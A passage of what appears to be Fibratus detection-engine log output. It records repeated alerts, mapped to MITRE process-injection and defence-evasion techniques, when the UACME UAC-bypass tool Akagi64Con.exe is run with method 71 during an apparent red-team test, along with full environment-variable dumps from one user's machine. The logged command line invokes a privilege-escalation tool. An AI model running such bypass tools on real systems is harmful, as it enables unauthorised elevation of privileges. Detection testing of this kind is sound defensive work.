WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:24+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\ServiceHub.88fba392#\8bd89b26caa08828f710411ce8f47c7d\ServiceHub.Host.netfx.x64.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1674087 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1406056 +0100 CET + Params: base_address➜ 7ffb9a7c0000, checksum➜ 0, default_address➜ 7ffb9a7c0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\ServiceHub.88fba392#\8bd89b26caa08828f710411ce8f47c7d\ServiceHub.Host.netfx.x64.ni.exe, image_size➜ 24576, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:24+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\sgen\0fb21e6b9c22eb734933c0cf68781464\sgen.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1674100 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1414209 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\sgen\0fb21e6b9c22eb734933c0cf68781464\sgen.ni.exe, image_size➜ 86016, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:24+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\sgen\0fb21e6b9c22eb734933c0cf68781464\sgen.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1674100 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1414209 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\sgen\0fb21e6b9c22eb734933c0cf68781464\sgen.ni.exe, image_size➜ 86016, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files 